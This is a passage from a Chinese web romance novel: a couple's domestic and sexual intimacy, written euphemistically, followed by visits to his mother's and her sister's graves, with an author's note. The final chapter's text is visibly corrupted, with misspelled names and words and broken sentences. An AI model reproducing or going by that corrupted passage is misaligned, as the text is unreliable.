周嘉让笑意却更重,胸腔里都是细碎的震动,他抬手把人箍回怀里,凑到唇边讨好地亲她。温书棠轻哼,偏头不想给他亲,可架不住这人太无赖,捏着她的脸,从眼皮到下巴,细细密密地吻了个遍。 呼吸间的热气洒在颊旁,像是簌簌刮过的羽毛,拂开一片难耐的痒,昏暗静谧的房间里,铺天盖地都是他们凌乱的心跳声。喉咙发干,眼睫眨动飞快,温书棠抓着他衣摆,身体亲密贴着,意识混沌间,感受到事情正在朝着危险的方向发展。 趁换气的间隙,她招架不住地及时投降,声音被亲得软绵绵的:“别、别再亲了。” 周嘉让含着她唇瓣,果冻般的柔软触感,不轻不重又磨了几下,然后才不满足地将人松开。整理好她的衣领,他又用指腹摁掉唇角残留的水渍,含糊笑着:“不气了?” 脸上红晕还没退,温书棠又羞又恼地瞪他:“不许笑。”“亲也不让亲,笑又不让笑。”周嘉让没半点收敛的意思,反倒是给她扣了顶帽子,“以前怎么没发现,我们家恬恬这么霸道啊。” 温书棠才不理他,把脸埋进被子里,鹌鹑一般背对着他。周嘉让还是笑,但没再招她,掌心往小腹那贴了下:“饿不饿?”她中午就没怎么吃,这会儿肚子确实空荡荡的,顺着他岔开话题:“饿。” 周嘉让把床边的小夜灯打开,怕光线晃到她,将亮度调到最低档:“想吃什么?”想到他刚才那一系列罪行,气不打一处来,温书棠闭上眼,报复似的说了一长串菜名。 看她纤长浓密的睫,蒲扇般来回颤着,周嘉让强忍住笑,好心询问:“宝贝,就我们两个人,能吃完吗?”“不管,我就想吃。”温书棠学着他的样子,不讲理地倒打一耙,“怎么?不可以吗?” “没有没有,当然可以。” 态度十分良好,周嘉让撑着床铺起身,在她额前又亲一下,眉眼间是藏不住的宠溺:“我这就去给宝贝做。” “我也要去。”温书棠扯住他胳膊,“我要在旁边监工。”周嘉让笑着说好。她蛮横地继续提要求:“但是我不想动,所以你要抱着我去。” 掀开被子,周嘉让俯下身,手臂从她腰侧绕过,像抱小孩那样把她抱起来,低哑嗓音落在耳畔:“黏人。”温书棠搂着他脖子,下巴埋在颈窝里,不太服气:“跟你学的。” “我有这么黏?”周嘉让抬眉。温书棠哼哼着:“有。” 推开卧室门,白墙上映出两道身影,周嘉让抱她去了客厅,把人放到厨房对面的岛台上。 这次回来,温书棠没带太多衣服,随便套了件周嘉让的卫衣,领口松松垮垮的,露出两根深陷的锁骨,袖子也长出一截,飘荡着垂在半空。 像极了偷穿大人衣服的小朋友。周嘉让没由得被逗笑,上前帮她翻折两下,又去橱柜里拿了盒牛奶,插好吸管递出去:“喝吧,小领导。” 什么小领导。甜腻的味道在嘴里散开,温书棠眨了眨眼,心想他怎么总能找到不一样的称呼叫自己。 双手捧着牛奶,她懒懒倚在墙上,透过落地玻璃,看他戴好围裙,从冰箱里找出要用的食材,拧开水龙头,动作娴熟地冲水切菜。暖调灯将背影衬得无比柔和,她忽然想起什么:“阿让,你是在国外学会做饭的吗?” “是啊。”周嘉让把切好的菜放进盘子里,目光看向她那边,“外面的饭太贵了,吃一顿半个月的钱就没了,自己做还能节省点。”听到节省两个字,心脏无端泛起酸涩,温书棠吸了记鼻子,放下牛奶,从岛台上下来,想过去帮他打下手。 瞧她瘪着嘴,眼尾恹恹耷着,周嘉让猜到她在想什么,弯腰挡在她面前,对上她的眼:“干嘛?又心疼我了啊。”温书棠没回答,伸手去接他手里的土豆:“是要削皮吗?我来吧。” 周嘉让把土豆搁到一旁,擦干净手,怕围裙上的水沾到她,没有抱,只是哄着挠了挠她的下巴:“脑袋里胡思乱想什么呢。” “我刚刚是和你开玩笑的,哪有那么夸张。”温书棠没听进去,自顾自地脑补着他在国外那几年的经历。 “恬恬要是真心疼我呢——”眼神停在她唇上,周嘉让眉尾稍扬,“今晚就多给我点好处。” “什么好处?” 她没多想地问出来,看见他的表情后,立马明白了些什么,难以置信地瞪大眼,耳根倏然变得滚烫。 “你能不能正经点。”她皱眉嘟囔着嗔怪。“行了,厨房不是你该待的地方。”周嘉让摁着肩膀把人往外推,“好好在外面监工吧,很快就能吃饭了。” 温书棠却很坚持,非要留下来帮忙。 油烟机的轰轰声停下,食物香气四处散开。 温书棠确实饿了,但她点的菜太多,努力到最后也没能吃完。周嘉让靠在椅背上,一副好整以暇的神情,看她碗里剩的几块鸡翅,明知故问:“不吃了?” 温书棠撂下筷子,抽纸擦嘴:“饱了。”“这就饱了啊?”周嘉让抱着手臂,故作惊讶地拉长语调,“刚刚口气那么霸道,还以为恬恬变成大胃王了呢。” “……. 知道他存心臊自己,温书棠埋着头装听不见。晚上洗过澡,她换好睡衣窝在沙发上。周嘉让在后面当靠垫,拿着吹风机帮她吹头发。 温书棠抱着pad,打开昨天没看完的电影,非常老套的三角恋,你爱我我爱他,狗血程度拉满,但就是莫名吸引人往下看。放到最精彩的部分,她一眨不眨地盯着屏幕,全身心投入到剧情里,好似是参与其中,甚至没发觉身后人停了动作。睨着她这副认真的模样,周嘉让觉得她实在太可爱,忍不住上手捏了把,好奇道:“真有这么好看?” 温书棠点了点头,正入迷后续走向,想拉着他一起看。“你看吧宝贝。”周嘉让按出一泵护发精油,用手心捂热后,慢慢擦在她发尾上,“我呢,还是觉得我女朋友更好看点。” 等快放到结尾时,消息栏里突然弹出一条提醒。温书棠点进去,是上周新来的实习生,问她能不能把例会上要用的周报模板发他一份。 指尖在键盘上敲字,温书棠回:【可以的,你等一下。】她在收藏夹里翻了好一会儿,将几个文件转给他,又把填写的注意事项交代了下。 【My.:大概就这些,如果有其他问题,随时来问我就行。】【景深:好。】【景深:谢谢棠棠姐^^】 下面还跟了个小狗鞠躬的表情。 周嘉让刚处理完邮件,想看看她在干嘛,眸光不经意扫过,捕捉到那三个字后,眉心凛然一皱。 他压低声线,一字一句地重复:“棠、棠、姐?” 温书棠还没觉出不对,打字时和他解释:“组里来的实习生,问我要周报模板的。” 周嘉让没接话,气氛毫无征兆地冷了三秒。 拇指悬在空中,温书棠后知后觉地回过头,瞧他唇线紧绷,眼角狭长收拢,深黑瞳孔里翻涌着看不懂的情绪。 她放下手机,勾起他的手晃了晃:“阿让?” “不是吧?你别多想呀。”温书棠坐直身子,往他眼前凑近了点,“真的就是实习生,大三还没读完呢。” “而且,人家有女朋友,也在我们公司实习,感情可稳定了。” 周嘉让终于有了点反应,伸手圈住她细窄的腰,让人坐到自己腿上,惩罚那般点她鼻尖:“你们公司怎么回事?”温书棠被问得一头雾水:“什么怎么回事?” “今天冒出一个学长,明天又跑出一个实习生。” 他拧着眉,语气酸酸的,像浸在柠檬水里:“我们家恬恬怎么就这么受欢迎。” “什么啊。” 温书棠咬着腮肉纠正他:“你别乱说。” 周嘉让罕见地和她较真:“我怎么就乱说了。” 长睫上下眨动,温书棠转转眼珠,食指戳在他嘴角上,如同发现新大陆一般,琥珀色眼眸里澄着清透的光亮,:“阿让。”“你是吃醋了吗?” “没有。”周嘉让别开眼,不屑地哼出声,“你是我女朋友,又不是他们的,我有什么好吃醋的。”唇边两个梨涡清浅,温书棠笑着揭穿他:“你有哦。” 周嘉让也不装了,喉结滚出一个嗯,捉住她不老实的手,垂眼定定看着她。睫毛拓出一层阴影,却遮不住逐渐晦暗的眸色,他干脆利落地承认:“我吃醋了。” “那…”温书棠向内抿唇,无意识地咽咽喉咙,“要我哄哄你吗?” 周嘉让不说话,似乎在等待她的下一步做法。 两人就这样对视着,温书棠没有哄人的经验,指尖掐进掌心里,纠结一番后,手臂环上他脖颈,主动在他唇边亲了下。周遭空气安静,令人面红耳赤的声音清晰回荡在耳边。 温书棠几乎要被烧熟了,眨眼速度加快,语调软软地哄他:“好啦,别生气啦。”“你自己也都说了,我是你女朋友。”她倾身趴在他胸前,手指揪着他衣领,“那我喜欢的人,就只有你一个呀。” “而且。”她晃晃右手,无名指上反着细碎的光,“我连你的戒指都戴上了。” 周嘉让用力在她发顶上揉了几下:“真想把你藏起来,省的别人总对你有想法。”“才没…….” 她话还没说完,后颈便被人扣住,周嘉让捏住那块软肉,低下头,温柔缱绻地吻了进来。气息交融,淬火般的温度烫上舌尖,酥麻顺着脊背窜过,暖昧的水渍声敲进耳膜。 温书棠四肢发软,依赖地瘫进他怀里,胸腔下的心跳紧密贴着,体温也在熨帖中迅速攀升。好久好久,久到缺氧感逼近大脑,周嘉让才堪堪松开她,手掌托着她的下巴。 眼睛里湿湿的,像泅着一汪水,不等她回过神来,温书棠又听见他说:“不行。”“还是不太够。” 什么不够? 没搞懂这是什么意思,腾空感却猝然袭来,周嘉让把她打横抱起,热气顺着耳廓擦过:“宝贝,搂紧点。” “之前的话可得算数。”“该还债了。” 二层卧室里,温书棠陷在松软的被褥中。湿热汹涌的吻,如潮水般肆意辗转,双手撑在她身侧,周嘉让绷紧下颌,眉宇被琐碎的发半遮着:“宝贝。” “还记得吗?”“第一次,你就住在这个房间。” 温书棠已经无法思考,费力回忆了好半天,才明白他指的是被关在地下室那次,她不慎弄丢钥匙,怕回家吵醒姐姐,于是借住在他这。 周嘉让攥住她衣摆,就像攥住一张没有份量的纸,上推下搡,轻而易举便褪到一旁。好似丛林中的探险者,寻寻觅觅,衔起一颗樱桃,他成功找到最关键的开关,话语里是不加掩饰 的哑:“当时你睡着了,我就坐在床边看着你,想碰一碰你的脸,但又怕被你发现。” 所以只能拼命克制着。而现在,他再也不需要克制了。 缠绵了整晚的雨,在这一节点骤然增大,淋漓酣畅的节奏,让某些情绪更加失控。门窗分明紧闭着,温书棠却觉得自己被淋在雨里,陌生的潮在周围涌动,耳边是起伏呼啸的海浪声。 他的骨节宽大,指腹粗捻,从上到下,从内到外,一边照顾一边宽慰:“宝宝,别紧张。”“又不是头一次了,放松点。”“不然你会更难受。” 温书棠红着眼,断断续续地呜咽:“我、我也想啊。” 别无他法,周嘉让只好亲自帮忙,先前十几年的练琴经历,在此刻派上了极佳用场,颤音,翻跃,滑动,他用尽技巧,尽心尽力地弹奏,企图奏出某些的美妙音符。 温书棠嘴唇都快要咬破,他用空闲的手抵过去,嗓子里像混了把粗粝的沙:“别忍宝宝。” “这间房隔音很好的,只有我能听到。” 不知道是不是错觉,今夜的他格外不好说话,每一记力度都攻向最深处,温书棠承受不住地仰头,肩颈拉出一道漂亮的弧度。被子早已掉进角落,床单也乱得没法看,周嘉让撬开她的指缝,和她十指相扣着,另一只手扶在腰边,稳住不让她乱动。 湿气蒸腾,窗户上也起了雾,温书棠思绪都是碎的,像搁浅在岸边的鱼,不得要领,只能小口小口汲着氧气。浮沉间,他诱哄地叫她:“宝贝。” “你睁开眼看着我。”“好不好?” 明明是商量的口吻,但他却没给她周旋的机会。艰难掀开眼,温书棠瞧见他瞳色幽深,眼眶被隐忍的暗红浸染。周嘉让拨开她汗湿的发:“你叫声哥哥,说不定我就心软了。”温书棠面子薄,又是在这种情况下,她嗓子干得要命,怎么可能叫得出口。可她不说,他就使坏地欺负人。温书棠被磨到没办法,想哭又哭不出来,眼皮肿得像小核桃,可怜巴巴地叫他—— “哥哥。” 计谋得逞,但他却没有信守承诺的自觉,眉眼挑起愉悦的弧度,位置对调,她膝盖贴在棉布床单上。周嘉让这次很慢,但却更折磨人,仿佛在走什么进度条,一点一点地靠近着,气息灼热地在耳边夸奖。 “宝宝,好棒。”“恬恬最厉害了。” 甚至还夹杂着几句法语。 "Bébé,bon garcon.""Pouvez-vous tenir un peu plus longtemps?""Faites-le une dernière fois,d''accord?" 他说法语的音调和平时不同,更低沉,也更性感,即便温书棠正迷离着,可她还是听清了这几句话。出于工作职业的习惯,她自动在脑袋里翻译成中文。 而羞赧也在这一秒被放大到极致,她几近本能地开始发/抖,推着他胳膊胡乱说起好话。如果可以,她万分希望自己听不懂法语。 分不清到底过了多久,窗外的雨好像停了,好像又下了起来,温书棠累到没力气,像个布娃娃一样任人摆弄。 困意上涌,她半阖着眼,但在他触碰到自己的那瞬,又条件反射地往后退了半寸,防御似的在身前叉起手,咕哝着说不行。 “都这么多次了。”她委屈巴巴地控诉,“你不能再欺负我了。” 凭着仅存不多的良心,周嘉让自我反思了下,也觉得今晚闹得太过分,安抚地亲了亲她额头:“不弄了,洗完澡就睡觉。” 不等回到床上,温书棠已经睡了过去。换好床单,周嘉让把她放回被褥里,又倒了杯温热的水,递到唇边喂了几口。 手掌在她背上轻拍,他在她身旁守了会儿,等人睡得熟一点,才悄声去浴室整理。他对自己没那么细致,就用水随便冲了冲,扯过毛巾擦干头发,快步回到卧室,重新把她搂进怀里。 凌晨三点,温书棠迷迷糊糊翻了个身,下意识抬手去抱身边人,但却只摸到一片空。 茫然睁开眼,周嘉让不知什么时候醒了,眼帘低垂,神情中带着些许落寞,倚着床头不知在想些什么。 鲜少见他这副模样,睡意顿时消散了大半,温书棠侧过头,有些担心地叫他:“阿让?” “你怎么啦?是做噩梦了嘛?” 她像以往他哄自己那样,环抱住他的肩,一下又一下地拍着,细声细气道:“不要怕,梦都是反的。” “恬恬。”周嘉让把她搂紧,下巴蹭在她头发上,声音发颤,“我刚刚……梦见妈妈了。”没想到会是这个,温书棠怔愣片刻。 她撑着床坐直一点,掌心抚上他侧脸,简单又笨拙地安慰:“阿让,别太难过了。”“我没事。”周嘉让反握住她的手,眸中划过宽慰的笑,“一个梦而已,缓一会就好了。” 无以复加的心疼里,温书棠紧紧抱住他:“阿让,你想妈妈了对吗?”周嘉让没否认,低声嗯了下。 喉结晦涩滚动,他缓缓说:“其实我……好久都没有梦到过她了。” 从他离开漓江,短暂地回到沪市,再颠沛流离到美国… 七八年的光景里,一次都没有梦见过。 鉴于复杂的成长经历,母亲对他的意义太重,虽说时间能冲淡一切,可伤疤就是伤疤,就算日后被抚平,那种痛依然深刻烙印在心里。 胸口像被陨石压着,闷闷地喘不过气,温书棠摸着他颈后的发茬:“但我相信,阿姨一直在另一个世界看着你,保佑你呢。”“看我们阿让现在这么优秀,她一定也会非常高兴的。” 周嘉让鼻腔发酸,什么话都说不出来,半张脸压在她颈窝里,呼吸很重,像在竭力缓解什么。 “阿让。”温书棠捧起他的脸,眸子里澄着点点星光,“等天气晴起来的时候——” 她扬起一个温暖的笑,犹如黑暗中拨云而出的熹光,驱散所有的不安与阴霾:“我们一起去看望她,好吗?” “好。” 感谢小天使们的1个霸王票、38瓶营养液~ 那几句法语大家自己翻译一下吧,周嘉让本性逐渐暴露。其实,某人已经不爽学长这个称呼很久了。 (远在国外的陈言之:? 95、惹火… 漫漫长夜过去,第二天便是一个碧空澄澈的晴天。 窗帘不知怎么开了条缝隙,朦胧日光从中钻进来,在地砖上勾勒出斑驳的光影,雾霭薄软,空气中飞扬着细小的尘埃。 枕边手机猝然响起,房间中的宁静被打破,周嘉让眉梢稍蹙,长臂挪动,第一时间摁了静音。 又过了两三秒,他才掀开薄戾的眼,目光看向怀里的人。 还好,睡得很熟,看来是没被吵到。 但他依然安抚地轻拍了两下,另一只手解锁屏幕,点开聊天框,低眸扫了眼不是什么重要的事,助理问他下周的会怎么安排。 简单回复几个字,周嘉让将手机放回去,翻过身,重新把温书棠搂紧。 她最近睡觉不太老实,被子被胡乱扯掉一半,松松垮垮地卡在胸口那儿。 衣领扣子也松了一颗,隐约可见那抹饱满的弧度,随着呼吸节奏,平稳地上下起伏。 喉结微滚,周嘉让把她散落的发撩到耳后。 感受到他的动作,温书棠动了动眼皮,因为还没睡醒,声音细细糯糯的:“几点了呀?” “还早呢宝贝。”周嘉让换了个姿势,手臂圈住她脖颈,侧头在她脸上亲了一下,“再睡会。” 温书棠是真的困,咕哝着说了句好,舒服抱住他的腰,主动往他怀里蹭。浓密的睫羽乖顺垂落,脸颊上的软肉被挤到一起,周嘉让觉得她太可爱,眼底不自觉浮现出笑意,伸手把人抱到身前,掌心轻轻抚着她的发丝 再睡醒的时候,已经快到下午了。 前夜体力消耗过多,温书棠四肢酸酸涨涨的,连一根手指都不想动,脑袋埋在被窝里,等着他帮自己换衣服。 被抱去浴室洗漱时,她像树懒一样挂在他身上,歪着头自我反思:“不行。”“我不能再继续这样了。”周嘉让没听懂,尾音不解地扬起:“你怎么了?” “你难道没发现吗?我现在真是越来越懒了。”一本正经地拧起眉,她认真检讨了一番,“什么事都想让你帮我做。” 周嘉让不以为意地笑笑:“这不是挺好吗?不然要我这个男朋友干嘛。” “哪就好了。”温书棠郁闷地撇撇嘴,“再这样下去,我都快被你惯成小孩了。”推开磨砂门,周嘉让把她放到洗手台上,半弯下腰,双手撑在身侧,与她视线平齐:“你本来就是啊。” “嗯?”温书棠把眼睛稍稍睁大了点。 周嘉让笑着捏她脸颊,一字一句地缓声重复:“我说,在我这,你本来就是小孩子呀。”跟随他的话,脑海中自动闪过几帧画面,温书棠眨眨睫毛,后知后觉地意识到,好像确实是他说的这样。 无论高中或是现在,一直以来,有关她的所有事,周嘉让都像照顾小朋友那样用心。 因为有他在,她的三餐总是搭配好的,晨起第一口水总是温的,水果总是去皮切成块的,就连突如其来的阴雨天气,也总是能在包里找到他提前放进去的雨伞。 记得半个月前,她无意在社交软件上刷到一条推送,说西单那边新开了一家网红甜品店。店里招牌的提拉米苏,看起来卖相很好,她随手放进收藏夹里,打算有机会过去试试。 但怎么也没想到的是,当晚下班后,从公司大楼里出来,她远远就看见,周嘉让拎着花和那款甜点在等她。 她仰起脸,神情惊诧:“你怎么知道我想吃这个?”周嘉让护着她上车,舒眉笑得懒散:“这有什么难的。” …… 他对她的爱,有时是狂风骤雨,但更多时候都像是潺潺流水,渗透在一点一滴的体贴里。 从回忆中抽离而出,温书棠没再接话,乖乖拿过他递来的牙刷,桃子味道的,很甜,心口也铺天盖地地满是甜蜜。有他真好呀。 等她全部洗漱完,周嘉让才从衣柜里拿出T恤,掀开衣摆准备换衣服。 紧实流畅的腰腹肌肉,跟随抬手的动作逐渐舒展,骨骼线条硬朗,人鱼线一路向下蔓延。温书棠就坐在旁边,尽管做过那么多亲密的事,但她还是有点不好意思,想移开眼,但又没出息地想多看看。 眼神来回飘忽,她无意识咽了咽喉咙,突然瞥见他腰间有颗小痣。他肤色原本就白,衬得这处更加显眼,再加上下面若隐若现的淡青色血管…… 很诚实的,温书棠盯着多看了两秒。还没来得及眨眼,头顶传来他得意又含糊的笑声。 “就这么喜欢啊宝贝。” “…” 温书棠噌一下闭上眼,装傻表示听不明白,舌头像打结一般磕磕巴巴:“你、你说什么呢?”周嘉让索性不换了,将衣服摆到一旁,俯身捉住她绻缩的手,指腹下的脉搏飞快跳动,他带动着让她碰到,声线故意压低几个度,沙沙哑哑,像颗粒打磨着心脏:“之前没发现过吗?” 温书棠脑子都是乱的,无暇思考太多,顺着他嗯了一声。周嘉让笑意却更重,胸膛里是细碎的震动声,连带着整个腹部都瞬间绷紧。 触感转变太明显,跟被烫到了似的,温书棠本能地想缩回手,可周嘉让牢牢箍着她,说什么都不让她乱动。眼帘颤得厉害,她牙齿咬在唇肉上,手心里细细密密的全都是汗。 瞧着她的反应,周嘉让忍不住勾唇,使坏接上她方才的话:“撒谎可不是好习惯啊宝贝。” 撒谎?什么撒谎? 温书棠正要质疑,就听见他不紧不慢地问:“昨晚不是还摸过吗?”心底蓄起一个大大的问号。她有吗?她怀疑他又在给她乱扣帽子。 眼见她不肯承认,周嘉让攥着她纤瘦的腕,慢慢向周围移动,诱导她进一步回想:“甚至还——”话语猛然卡住,也是这时,温书棠迟钝地发觉出什么不太对劲的地方。 那是…… 缓缓睁开眼,视野恢复恢复清晰的那瞬,果不其然,她看清那颗痣外嵌着明晃晃一圈齿印。 不用问也知道是怎么来的。 暖昧似潮涨般迅速扩散,某些情景也不受控制地在眼前回现。 那阵她累得不行,各种好话轮番说了一遍,但他仍然不肯停,一边亲她一边朝敏感处撞。最凶最煎熬的那几次,她实在是承受不住,思绪迷离成碎片,情绪满到无处安放。 没有床铺支撑,她半个身子都悬在空中,指甲深深掐在他手臂上,留下一道道月牙形弯印。等到最后,她完全脱力,不由自主地往前倒,喘着气靠在他身上平复。 腰和腿都是软的,她越想越气不过,只能又羞又恼地贴过去咬他。 …… 像被煮熟的虾,温书棠从头到脚红了个遍。耳根温度也高得吓人,她没眼再看自己的杰作,食指缠着衣角,低头决定冷静一会。 周嘉让好整以暇地欣赏着她的表情,添油加醋地啧了两声:“真没想到,恬恬居然还有这种爱好。”温书棠:"……." “一言不合就咬人。”他垂眸看向那个痕迹,又逗弄地挠了挠她的下巴,“属小猫的?” 证据确凿,罪行没办法否认,温书棠自暴自弃地反驳:“谁让你先欺负人的。” “我有吗?”周嘉让挑眉,貌似是良心悔改,“那怎么办。” "要不给个机会,让恬恬欺负回来?" 温书棠抿着唇,不想再聊这个话题,谁知他却扬着语调自问自答:“嗯,我觉得可以。” “??” 不等她回神,双腿已经悬在空中,周嘉让将她打横抱起,稳步向着卧室走去。 顷刻间警铃大作,像掉进水里的小雀,她扑腾着打他胳膊,紧张地变了调:“你你你你要干嘛!” 周嘉让暗示地拍她腿根,低哑话语如涟漪般层层散开,吐息间的热气磨人,意味深长的两个字:“晨练。” 两小时后。 先前的洗漱彻底白费,淋浴间的门又一次被打开。 温书棠不太能坐得住,斜斜倚在墙上,顶着一双肿眼,去瞪那个在帮自己擦头发的人:“坏蛋。” 被骂了反而更高兴,周嘉让闷闷笑了几声:“这不能怪我啊。” 他摊开手,摆出一副极其无辜的样子:“刚刚是谁先不老实的?” 温书棠:“……. “是谁先惹火的?” “…” 她不过就是看了几眼!这怎么能怪到她头顶上! “而且。” 周嘉让倾身,漆黑眼瞳中倒映出她的身影,勾着她的发尾,一圈圈绕在手上:“宝贝你明明也很——” 怕他再说出什么没羞没臊的话,温书棠连忙捂住他的嘴巴,瞪大眼睛炸毛道:“周嘉让!你不要再说话了!” 折腾了这么一通,早饭几乎都要变成晚饭。 温书棠气还没消,右手举着汤包,愤愤咬了一口:“我想好了,今晚我们还是分房睡吧。” “那可不行。”周嘉让把剥好的鸡蛋放进她碗里,“我是不是没和你说过,其实我不敢一个人睡觉。” 温书棠:"?"他面不改色地胡诌:“只要自己睡,我就会做噩梦,特别可怕的那种。” 温书棠:"……." 好不容易收拾出门,温书棠站在衣柜前,托着下巴,一会拿起长裙,一会又拎出衬衫,左挑右选地有些为难。 看出她的纠结,周嘉让几步走过去,手掌摁在她肩膀上,用半开玩笑的语气:“怎么啦宝贝。”“不就是去墓园看妈妈嘛,你干嘛这么小心翼翼的。”眉尾耷下,温书棠苦着一张脸,一头栽在他胸前:“可我毕竟是第一次去嘛。” 所以想尽最大可能留下一个好的印象。 “乱想什么呢。”周嘉让揽过她的背,宽慰地蹭了蹭她的脸,“我们家恬恬啊,就算是穿麻袋,那也是最漂亮的。”温书棠莫名被逗笑:“什么啊,你才穿麻袋呢。” “好啦。”周嘉让也笑起来,在她梨涡上戳了下,“别顾虑那么多,我们恬恬这么好,妈妈肯定会很喜欢的。” “再说了。”停顿几秒,他抵住她的额头,鼻息相互交错:“咱们俩在一起,怎么说都是我赚大了。” 傍晚时分,太阳还没落山,橙红色余晖染遍天幕,空气中翻涌着恬淡的蔷薇花香。周嘉让一手拿着鲜花和祭品,另一只手紧紧牵着温书棠,暮色下他身形挺阔,地面上的影子被拉得很长。 走到第三排,他们在最里侧的墓碑前停下。周嘉让蹲下身,将带来的东西安放好,修长分明的指节擦过碑角,眼眸低垂,神色中是说不出的牵挂与思念。 光影拨云而出,刚好打在他侧脸上,描摹出清晰的皮肤纹理,下颌折角也被雕刻得更为凌厉。脊背挺得笔直,似绷到满杯的弓弦。 就这样沉寂了好久。喉骨晦涩滑动,唇瓣开合,周嘉让嗓音很轻:“妈。” “我来看您了。”“好久没来过了。”他费力挤出一点笑,“您最近还好吗?外公和外婆呢?他们也都好吗?” 听着他言辞间的哽咽,温书棠心口一阵缩痛,安静在他身边蹲下,用力握紧他的手。拇指蹭在手背上,她想用这种方式,让他感受到自己的存在。 别难过。我还在呢。你不是孤身一人。 感知到她的用意,周嘉让偏头,弯唇露出一记浅笑,瞳孔澄着柔和的光,用口型告诉她——我没事。 移回目光,又顿了顿,他才继续往下说。 “这次过来,是想给您介绍一个很重要的人。”“不知道您还记不记得,其实我很早就和您提过她,只不过一直没能找到让你们见面的机会。” 她无名指上的银戒陷在他掌心里,周嘉让拢紧眉头,努力压抑着情绪:“这么多年,她给了我很多力量,因为有她在,我现在过得很幸福。” 那些痛苦,那些晦暗,都随着她的出现,变成了人生中的过往云烟。他竟然开始期待未来了。 温书棠吸吸鼻子,同样看向照片上的女人。 读高中时,她便在延龄巷的家里看过她的照片,很漂亮,气质也好,轮廓和周嘉让相像,只不过眉宇间的攻击性没那么强。 大概是因为身后落下的阳光,墓碑上的她,似乎比记忆中更加温柔,嘴角挂着明媚的笑,就像四月春风,让人不由自主地想要接近。 也正是如此,想起她经历的种种苦难,才更让人感同身受的心疼。 她本该拥有大好人生的。但却被那个恶劣的人,被无情的命运反复折磨着。 眼角酿出些许酸涩,温书棠用手擦掉,清清嗓子,无比认真地开口:“阿姨您好。” “我叫温书棠。” “是阿让的女朋友。” 即便提前打过腹稿,她依然会难以抑制地慌乱,大脑一片空白,想说的话堆在嘴边,好似一团纠缠不清的丝线。周嘉让捏她手心,令人心安的体温传来,温书棠深吸一口气,强迫自己保持平静,语速缓慢:“阿姨,请您放心,以后的日子里,我会照顾他,会好好爱他,会 永远陪着他。” “无论风雨苦难,我都会和他一起走过。”会治愈他的伤痛,会驱散他的阴影,会把所有偏爱都留给他。 提起唇角,她露出一个还算漂亮的笑:“当然,也要谢谢您,把这么好的阿让带到世界上。” 谢谢您,给予他无私的爱与温暖。谢谢您,教会他如何爱人。 天色渐晚,夕阳西斜。 又聊了些琐碎的近况,他们将花束摆正,起身打算回家。 “妈。”周嘉让向墓碑鞠了一躬,“我们先走了,下次再来看您。” “等一下。” 温书棠出声打断,朝他温软一笑:“我还有几句悄悄话想对阿姨说。” 她冲后面抬抬下巴:“你去那边等我一下,好不好呀。”周嘉让点头,在她头顶揉了把:“等你。” 温书棠屈膝蹲回去,裙摆垂在地上,宛若绽开的花瓣:“阿姨。”她放轻声音:“我还有一个小小的请求。” “如果可以的话。”望着那张黑白照片,她鼻尖发酸,眼睫簌簌发颤,“多来梦里陪陪阿让好吗?” “虽然他嘴上不说,但他是真的真的很想您。” 所以常来看看他吧。不要让他再偷偷伤心了。 一阵风吹过,碎发拂过脸庞,挟来和煦与温热。仿佛无声的回应。 温书棠笑了笑:“那我就当您答应啦。”“就这么说定了哦。” 转过身,周嘉让正等在不远处,颈后骨节突出,他低着头,背影看上去有些落寞。加快脚步,温书棠跑到他面前,抬起头,冲他敞开双臂:“阿让。” “要来让我抱一下吗?” 眸中划开几分错愕,愣了半秒,周嘉让弓下腰,用尽力气将她拥入怀里。如同洪水泄闸,克制许久的心绪,在这一刻贲发而出,他的脸埋在她颈窝里,气息粗重,声线嘶哑到难耐。 “恬恬。” 温书棠踮起脚,和他脸颊相贴:“我在呢。” “好啦。”像母亲对待初生婴儿那般,她拍拍他的背,“不难过啦。”“看见阿让现在这么优秀,我相信阿姨也会很开心的。”周嘉让低低嗯了一声。 不知从哪飘来一片梧桐叶,摇摇晃晃,最终落在他的肩头上。明明是生机蛊然的季节,可叶片却奇迹般地泛起黄色。 眼睛忽然亮起来,温书棠伸手摘下,温声唤他的名字。“阿让。”“还记得你之前对我说过的那句话吗?” 她向后撤开一点,将叶片举到他眼前:“你看啊。” “梧桐叶黄了。”“是妈妈回来看你了。” 第96章 不同于方才安慰他时的坚强,在瞧见那张黑白遗照的刹那,温书棠也不受控制地酸了眼眶。 她想起很久以前看过的那句话。 亲人离世,是一生的潮湿。 揽在身后的手收紧察觉到她情绪上的变化,周高让控程她肩膀,用相同的方式,给子她最令人心安的无慰他们就是彼此的后盾。 温书棠靠在他怀里,吸了吸鼻子,努力不让声线颤得太厉害。 “姐姐。”“我又来看你啦。” “上次问你的那个问题。”停顿少许,她缓慢眨眼,“我已经找到答案了。” 那时她尚不清楚真相,步步后退,不想再重蹈覆辙。可当一切过往都窥见天光后,她才迟钝地发现。他分明是那样爱她。 睫毛动,温书棠不自觉攥紧他的手,摸到他手背上盘迭交错的青筋:“我们在起了。” “当年那些事,阿让也是被逼无奈的,他现在对我很好,我…….“很爱他。” “姐。”接着她的话,周嘉让低声开口。 “虽然您早就见过我了,但还是让我重新自我介绍一下吧。” 眼头拢紧,他神色中多了几分郑重一字句,探地有声:“我叫周高让,满江人,今年二十五岁。”“我毕业于斯坦福大学现在从事科技医疗方面的研究,有一家属于自己的公司,还算是有所就 “我的身世比较复杂,母亲因病早逝,外公外婆也在意外中相继离开。”“至于我的生父….…” “阿让。” 温书棠出声打断,看向他的表情里满是心疼:“可以不用说这些的。” 她不想让他一次又一次地自揭伤疤。 周嘉让却笑着摇头:“没关系。”既然想表明心意,他就该捧出百分百的坦诚。 深吸一口气,他继续向下说:“他的确不是什么好人,但我与他早已没有关系。” “关于八年前的事,我很抱歉,也很遗憾,没能保护好你们,也没能在恬恬最需要我的时候陪在她身边。” 喉结轻滚,他话语间略有哽咽:“好在,她没有记恨我,还愿意原谅我,接受我。““我知道,因为年少时能力不足,我曾给话恬带来过许多伤害,但我可以发誓,从始, 发,对定具心的。 “在这里,我也可以和您做出保证。” 看着照片上的女人,他挺直脊背,眼神格外坚定,好似在进行某种直:“味来的日子里,我会珍借她,保护她,会把最好的留给她,会拼尽一切去爱她。”“我会为她遮风挡雨,不会再让她受到半点委屈。” “我不会对她发脾气,不会和她吵架,我会给她一个完整的家。”“会在冬天陪她看雪,会在夏天带她吹晚风,会给她做喜欢的赤豆元宵,会满足她的所有喜好。” “我会努力活久一点,陪她度过安稳的一生。” “以上就是我的承诺,请您放心,也请您监督。” 低沉清晰的嗓音落入耳畔,温书棠眼角酿出些许酸涩。 这些话并不像是临场发挥出来的。那么他到底提前演习过多少次呢? 